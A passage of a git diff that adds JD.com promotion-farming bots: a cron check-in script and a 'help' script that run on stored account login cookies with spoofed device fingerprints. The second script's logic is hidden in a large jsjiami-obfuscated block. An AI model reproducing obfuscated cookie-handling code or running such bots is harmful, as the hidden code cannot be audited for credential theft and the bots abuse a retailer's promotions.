${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_morningSc.js b/jd_morningSc.js new file mode 100644 index 0000000..bb3e0c0 --- /dev/null +++ b/jd_morningSc.js @@ -0,0 +1,212 @@ +/* +入口:APP搜-生鲜早起打卡 +支付一元才能参与打卡,填写环境变量morningScPins给指定CK打卡 +15 6,7 * * * jd_morningSc.js +*/ +const $ = new Env("生鲜早起打卡") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +var pins = process.env.morningScPins ?? "" +let cookie = ''; +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if(!pins){ + console.log("未设置变量,指定CK的pin 如:morningScPins='pt_pin1&pt_pin2'") + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + if(!pins || pins.indexOf(pin)==-1){ + continue + } + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + data = await queryUserInfo() + if (!data?.body?.isClockDay) { + if(data?.body?.clockStatus){ + if(data?.body?.paymentStatus){ + console.log("已经打过卡了,明天再来打卡吧") + }else{ + console.log("已经打过卡了,未参加明天的打卡") + } + + }else{ + console.log("未参与打卡活动") + } + continue + } else { + + } + data = await clockIn() + if (data?.head?.code == 200) { + notify.sendNotify(`早起赢现金打卡成功,记得参与明天的打卡活动哦`,''); + } else { + notify.sendNotify(`早起赢现金打卡错误`, data); + } + } + } +})() + +function queryUserInfo() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_queryUserInfo', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&body={}&build=167724&client=apple&clientVersion=10.0.6&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&sign=ddf05193cf9b3960b8bb486e1861a70f&st=1626353585939&sv=110` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function clockIn() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_clockIn', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&area=20_1726_22885_51456&body={}&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone10,4&joycious=94&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&osVersion=14.4.2&partner=apple&rfs=0000&scope=10&screen=750*1334&sign=493d44a41b6d852e024c75cbaacf51d2&st=1626478320220&sv=121&uemps=0-0&uts=0f31TVRjBSulv7BX1PVDEL+N224mGHmcXDxrm4KUU12U5TiWKO80M8NhmREN8AbYjX/cYxQZMj6dPyVM7JTDXDlk8K/RJ8KM1Yvh9BQ39IZXuuMt6KCAs0vkhr0Vpi91T+T36Xjdi/wgv3BzIR3BjFcMnccL+ht5gtKPSCNseuUCFsj9Sn6tgKI8QlIk4/oKAUhYBd5NKA+FS1ya0bJSBQ==&uuid=hjudwgohxzVu96krv/T6Hg==` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_mpdz_car_help.js b/jd_mpdz_car_help.js new file mode 100644 index 0000000..1458034 --- /dev/null +++ b/jd_mpdz_car_help.js @@ -0,0 +1,40 @@ +/* + +16 16,17,18 * * * jd_mpdz_help.js +*/ +const $ = new Env("头文字j助力"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +const CryptoJS = require("crypto-js") +let ownCode = null; +let mpdzHelp = process.env.mpdzHelpCode ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} + +if (process.env.mpdzHelpCode) { + if (process.env.mpdzHelpCode.indexOf('&') > -1) { + mpdzHelp = process.env.mpdzHelpCode.split('&'); + } else if (process.env.mpdzHelpCode.indexOf('\n') > -1) { + mpdzHelp = process.env.mpdzHelpCode.split('\n'); + } else { + mpdzHelp = [process.env.mpdzHelpCode]; + } +} + +var _0xod6='jsjiami.com.v6',_0xod6_=['‮_0xod6'],_0x3b2a=[_0xod6,'c2hvcElk','SUphckY=','Z2V0Q3VzU2hvcFByb2R1Y3RudW1JZA==','Y3VzU2hvcFByb2R1Y3Q=','bnVtSWQ=','YnNwc1U=','Z2FtZUxvZ0lk','SUhSaWY=','bWdub2E=','dXB5eFQ=','WEl3RHo=','eUZUSmE=','SlVtRFU=','cVZhTEw=','dXNlckluZm8=','YmFzZUluZm8=','bmlja25hbWU=','RkxmZUI=','bXBkei1jYXItZHouaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtQ04semgtSGFucztxPTAuOQ==','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2pkYmV2ZXJhZ2UvcGFnZXMvcGFva3UvcGFva3U/Yml6RXh0U3RyaW5nPSZmcm9tPWtvdWxpbmcmc2lkPSZ1bl9hcmVhPQ==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2RtL2Zyb250L2pkQ2FyZFJ1bm5pbmcv','P29wZW5faWQ9Jm1peF9uaWNrPQ==','JnVzZXJfaWQ9','JnB1c2hfd2F5PTEmdXNlcl9pZD0=','cFJoVFA=','UmhZVXU=','b1FBU0U=','bmRab3Q=','TG1BUGQ=','RWREeVQ=','TEttUVI=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','UU1ZTXo=','amVQUm8=','c3RyaW5naWZ5','YWN0aXZpdGllc19wbGF0Zm9ybQ==','NEFWUWFvK2VIOFE4a3ZtWG5XbWtHOGVmL2ZOcjVmZGVqbkQ5KzlVZ2JlYz0=','aHR0cHM6Ly9hcGkubS5qZC5jb20v','cGFydGljaXBhdGVJbnZpdGVUYXNr','YXBpLm0uamQuY29t','YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbQ==','Li9KU19VU0VSX0FHRU5UUw==','SlNVQQ==','J2pkbHRhcHA7aVBhZDszLjEuMDsxNC40O25ldHdvcmsvd2lmaTtNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDE0XzQgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbS8=','YXBwaWRTaWdu','Y0lkVXc=','VEVvbVg=','R3p4UlM=','cnJYTlI=','ZnVuY3Rpb25JZD1UYXNrSW52aXRlU2VydmljZSZib2R5PQ==','SmJ2RlY=','TWxKU3U=','JmFwcGlkPW1hcmtldC10YXNrLWg1JnV1aWQ9Jl90PQ==','bm93','a05pTUY=','TWdIQWU=','eE5UTHA=','bUdKcGk=','UlhtbXA=','ZW52','SlNfVVNFUl9BR0VOVA==','bERVbU8=','SllKZlM=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','dU1WZEI=','ekNUWE4=','Y1pSdkk=','c0lzZnM=','bmpmcWE=','QkpOeGg=','UXVseE0=','WFBOVGc=','R1VMRHU=','dFdPSUU=','Ym5td3U=','SEl2ZVI=','dFVRb2I=','T3JWbFE=','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','eHRvcW4=','aHRKY3A=','T0tuTGE=','Z3BHV1o=','bFR2cmw=','UmVBcVc=','QVdqdmQ=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHprai1pc3YuaXN2amNsb3VkLmNvbSUyMiUyQyUyMCUyMmlkJTIyJTNBJTIwJTIyJTIyJTdEJnV1aWQ9aGp1ZHdnb2h4elZ1OTZrcnYmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249OS40LjAmc3Q9MTYyMDQ3NjE2MjAwMCZzdj0xMTEmc2lnbj1mOWQxYjdlM2I5NDNiNmExMzZkNTRmZTRmODkyYWYwNQ==','cmljd2s=','ZkJJaUk=','VVpXSUM=','bEFaZkk=','SGZXS2k=','UHNLSlg=','ak1BS2U=','V25uZEs=','cklsYUs=','eWRvT0s=','dlhrR0U=','eUhGZXE=','dERBR1k=','emZISGs=','RnFXZno=','cllaam8=','VVJJbkk=','bW9SdXA=','cnFNQmQ=','cFZsVHQ=','bUZNeWQ=','emNGTEk=','S0lNd2g=','ZHFKTEo=','T0xVWFo=','dVJwR0I=','a1VFa2s=','bnR2VEo=','cmVwbGFjZQ==','TFdpeXk=','U1N4VEI=','WU9iSE8=','Q0ZmSVA=','dUlYRGo=','SXN3cnQ=','R3JHTFo=','TmdYVkc=','RE93bm4=','bm9wQVI=','bWdrS2Y=','amVFeEE=','MTAwMQ==','QmpsdEk=','dk5seXQ=','cGdzdk0=','bEVTTXA=','cEt2Z2E=','WEJTdmw=','ODU2MjMzMTIwNDQyNTg0NjQzMjUyMjc2NjY4ODM1NDY=','MjU3NDc3MTc=','JTI3','JTdF','YWRtanNvbg==','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','emgtY24=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','ZFFOd08=','UnJuRUU=','ZHFmS3Q=','WHZHQWw=','ck5TUFc=','clZCSEM=','ZWlEUlY=','ZFJjdUk=','THpVV3M=','ZXRNWmU=','ZG5GSWY=','UERiakM=','dGlhdmY=','cUxHR2E=','WW1DeW8=','bXhzVXQ=','RWx5b0M=','TE5hZm8=','U2JJQm0=','RHlnRE4=','Y25pWnc=','Z2V0','R25WVVU=','cEdER0M=','VHdtUlo=','SG9JRGM=','VXhpWno=','TnJwUWs=','SW9PWGY=','WFBYVE0=','Rm5uUGs=','cmVTQnM=','WXlBSm8=','S3lkaXI=','QXpnQ2M=','UHlyTG8=','eU1lTkg=','cmV0Y29kZQ==','YmZIR0c=','aGFzT3duUHJvcGVydHk=','Q2hIZFA=','RU54YkY=','TlFtbFM=','cGJGSGM=','TkdqS2Y=','SlhCcWg=','R1dCbVE=','eHp5bUY=','VUVFV0c=','aXRjWWY=','bmFndlI=','TEZuelk=','V2dPQlA=','R29WSEM=','dGFYRWw=','R2lMWko=','aUVBU1Y=','UEdqWWc=','dmFsdWVPZg==','QXNJQnU=','T0t3eWU=','QXZicHQ=','cXNvQ2o=','UlZQTk0=','QnlDZ28=','amJ3QWE=','cW1UbWQ=','R2JuV0o=','VFhaZlU=','Q2dOQVU=','UG52UUM=','TUQ1','dG9Mb3dlckNhc2U=','a29jdXQ=','SHBHV1Y=','bWREZEI=','QVB1cVA=','bUR3ZEw=','U0xFZm4=','ZXFxelk=','QkpZcEU=','SWx6dWo=','bUNWWWQ=','Vm1yYWQ=','Zm52R1Y=','RW9LQnc=','T1RSV0Y=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','V0JlQkg=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','Z2VPSUk=','UndQRXU=','UWRWSXc=','5aS05paH5a2Xaue6r+WKqeWKmyDnjq/looPlj5jph48gbXBkekhlbHAg5aSa5Yqp5Yqb56CBICYg5YiG5byA','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','MjE2OTkwNDU=','MTAyOTkxNzE=','MTc2MDAwNw==','S2J6b3Y=','UVFUYmI=','eFRreEM=','VVptS24=','a3paa1U=','Zmxvb3I=','S0dVZ2o=','cmFuZG9t','SVNiTXM=','bXNn','bmFtZQ==','bXhad3I=','eFZVRkE=','YWN0Q29kZQ==','WlpZSnI=','bGVuZ3Ro','cHVzaA==','c2xpY2U=','eVh0Q0U=','bWFw','YWxs','SGxGU2M=','WGFOWlE=','a1BPdWU=','aFVJU1o=','ZHdLQ1I=','a2l0VHY=','TEZlTm0=','bG9n','YVRrYU8=','bG9nRXJy','VXNlck5hbWU=','aXBQWHk=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','Z0h3cFg=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','YmVhbg==','QURJRA==','dWhXWGQ=','ckdUaFU=','VVVJRA==','SHlVQ2Y=','YU1JQ1I=','YXBwa2V5','WWVKYms=','dXNlcklk','R1dSamI=','YWN0SWQ=','d0FxbFg=','YXV0aG9yQ29kZQ==','eGxjSWo=','d2FpdA==','TWJGWG8=','YmFnWEg=','Z0dHdW0=','cVhrUEE=','ZGF0YQ==','cmVtYXJr','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','cGFyc2U=','Y29kZQ==','dG9rZW4=','dEFScW4=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','YWN0aXZpdHkvbG9hZA==','MHwyfDF8M3w0','MS7liqnlipvnoIEgLT4g','Mi7ljrvliqnlipsgLT4=','bWlzc2lvbi9jb21wbGV0ZU1pc3Npb24=','c2hhcmVBY3Q=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','S3JxdUg=','dW95dXM=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','YnV5ZXJOaWNr','YWN0aXZpdHlJbmZv','dGFza0xpc3Q=','Z1JRdE0=','eW9jTHg=','ZENqTW0=','UFRGTU8=','c3BsaXQ=','T3pLeGE=','VGFDUE0=','SlN0UVc=','SHJ2S0Q=','S3FuQ0U=','Z2hhRG0=','dHdwT0w=','QnZ0bXU=','T3VKdlo=','UmpHdWY=','QWVyZkU=','TW5KRWY=','dE9TZHU=','TU1iT0w=','alBId3Y=','Sm5SUWE=','ZWR1c1E=','b0ZHYW0=','bWlzc2lvbi9jb21wbGV0ZVN0YXRl','Y3VzU2hvcC9nZXRDdXNTaG9w','Y3VzU2hvcC9nZXRDdXNTaG9wUHJvZHVjdA==','Z2FtZS9wbGF5R2FtZQ==','cmVwb3J0L3RlbXBvcmFyeQ==','Z2FtZS9zZW5kR2FtZUF3YXJk','VnpSemw=','5Lqs5Lic5rKh5pyJ6L+U5Zue5pWw5o2u','eGJ4dHU=','Mi4w','UE9TVA==','ZmRRS3E=','a0NoTHM=','L2pkQ2FyZ